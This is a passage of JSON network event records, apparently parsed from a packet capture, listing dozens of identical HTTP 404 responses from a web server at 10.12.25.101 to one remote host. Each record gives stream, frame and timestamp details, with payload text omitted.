            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-56b56332527189aca31e1cec",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 406,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255485.653346000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "408",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-61afe0c982e54bd0fdedb6db",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 410,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255487.004245000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "412",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-2f19990895e3f529d851997f",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 413,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255487.996408000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "415",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-67ea4296696e0e005135c28c",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 416,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255488.475687000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "418",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-42466adea49172375367a1b4",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 419,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255491.795889000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "421",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-1625041c6829002b1d3bbe52",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 422,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255492.273758000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "424",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-d2cd12d975c1c3e34e4032f8",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 425,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255493.605061000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "427",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-4e7fba0fc76fc480fb8fbcef",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 429,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255494.895142000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "431",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-16e4a5871bd0012a7378dc45",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 432,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255495.946890000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "434",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-483e75f9d98725ba7697fb6d",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 435,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255496.225526000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "437",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-39ea35af2ee702345973671f",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 439,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255498.895859000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "441",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-26d05e78e7d3554dcb34de65",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 442,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255500.840411000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "444",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-f265013e797c8378c200d3d4",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 446,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255501.860038000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "448",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-6a836d92e9e08b2e8fa84ec0",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 449,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255503.873095000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "458",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 60608,
          "event_id": "evt-dd0dbb27747a7040a7d220ce",
          "src_port": 80,
          "tcp_stream": 9,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 460,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255514.872052000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "462",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 60608,
          "event_id": "evt-275747a0534debf06a9d9aed",
          "src_port": 80,
          "tcp_stream": 9,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 463,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255515.132516000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "465",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 60608,
          "event_id": "evt-96acc93595cb2e9c613a2207",
          "src_port": 80,
          "tcp_stream": 9,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 466,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255515.391482000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "471",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61757,
          "event_id": "evt-d22804cb7610427f41cc64f0",
          "src_port": 80,
          "tcp_stream": 10,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 473,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255520.428895000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "484",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61991,
          "event_id": "evt-043bdc7eb0d174a27a84fd12",
          "src_port": 80,
          "tcp_stream": 12,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 486,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255524.482296000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "488",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61991,
          "event_id": "evt-5c6c4b50191feedc4264cb73",
          "src_port": 80,
          "tcp_stream": 12,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 489,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255524.759747000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "491",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61991,
          "event_id": "evt-b10b9d0299d179298db96571",
          "src_port": 80,
          "tcp_stream": 12,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 492,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255525.041199000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "500",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65014,
          "event_id": "evt-624ab47031ba6da9d9b622ef",
          "src_port": 80,
          "tcp_stream": 13,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 502,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255554.971281000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "504",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65014,
          "event_id": "evt-b6d3f6e057454fe27367fb07",
          "src_port": 80,
          "tcp_stream": 13,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 505,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255555.237015000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "507",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65014,
          "event_id": "evt-d3d0642ae389db2ed8e09963",
          "src_port": 80,
          "tcp_stream": 13,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 508,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255555.503816000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "514",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53134,
          "event_id": "evt-a28be51feacfcf0488924b44",
          "src_port": 80,
          "tcp_stream": 14,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 516,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255577.899275000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "525",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54132,
          "event_id": "evt-cff4aba6c03727a17ffa1f8d",
          "src_port": 80,
          "tcp_stream": 15,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 527,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255590.214183000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "529",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54132,
          "event_id": "evt-cc9488375b8d16748cadb838",
          "src_port": 80,
          "tcp_stream": 15,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 530,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255590.490876000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "532",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54132,
          "event_id": "evt-c37409350d7043ff9c058e7a",
          "src_port": 80,
          "tcp_stream": 15,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 533,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255590.769956000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "535",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54132,
          "event_id": "evt-7c94881abaf2f805466970c9",
          "src_port": 80,
          "tcp_stream": 15,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 536,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255591.048644000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "538",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54132,
          "event_id": "evt-9ec6320e8838ab7406ba0752",
          "src_port": 80,
          "tcp_stream": 15,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 539,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255591.327217000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "541",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54132,
          "event_id": "evt-6ae807d4b5d6765e55f3bb05",
          "src_port": 80,
          "tcp_stream": 15,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 542,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255591.604502000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "544",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54132,
          "event_id": "evt-c0a1a2440d7ac74c86abfaf9",
          "src_port": 80,
          "tcp_stream": 15,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 545,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255591.881081000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "547",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54132,
          "event_id": "evt-483ab590574f49bf1457b9b0",
          "src_port": 80,
          "tcp_stream": 15,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 548,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255592.157036000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "557",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-597a267b9461f935f12707f2",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 559,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255599.605816000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "561",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-ed2a5435d3d2c01ba91c7487",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 562,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255599.884117000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "564",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-6d45eea90b904a52f8358556",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 565,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255600.859296000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "567",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
